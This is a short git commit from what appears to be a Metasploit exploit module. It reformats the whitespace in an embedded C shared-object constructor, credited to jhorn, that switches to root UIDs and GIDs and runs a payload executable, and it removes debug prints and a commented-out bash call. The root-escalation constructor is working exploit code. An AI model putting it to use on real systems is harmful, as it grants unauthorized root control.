Replace tabs with spaces

MS-2855/keylogger-mettle-extension
Brendan Coles 2017-06-20 00:06:50 +00:00
parent cf8cf564b2
commit 1bd7a0ea2a
1 changed files with 9 additions and 15 deletions

View File

@ -145,21 +145,15 @@ Original shared object code by jhorn
extern char *program_invocation_short_name;
__attribute__((constructor)) void run(void) {
//if (strcmp(program_invocation_short_name, "vmware-vmx"))
// return;
uid_t ruid, euid, suid;
if (getresuid(&ruid, &euid, &suid))
err(1, "getresuid");
printf("current UIDs: %d %d %d\\n", ruid, euid, suid);
if (ruid == 0 || euid == 0 || suid == 0) {
if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
err(1, "setresxid");
printf("switched to root UID and GID");
//system("/bin/bash");
system("#{@base_dir}/#{fname}.elf");
_exit(0);
}
uid_t ruid, euid, suid;
if (getresuid(&ruid, &euid, &suid))
err(1, "getresuid");
if (ruid == 0 || euid == 0 || suid == 0) {
if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
err(1, "setresxid");
system("#{@base_dir}/#{fname}.elf");
_exit(0);
}
}
^
vprint_status "Writing #{@base_dir}/#{fname}.c"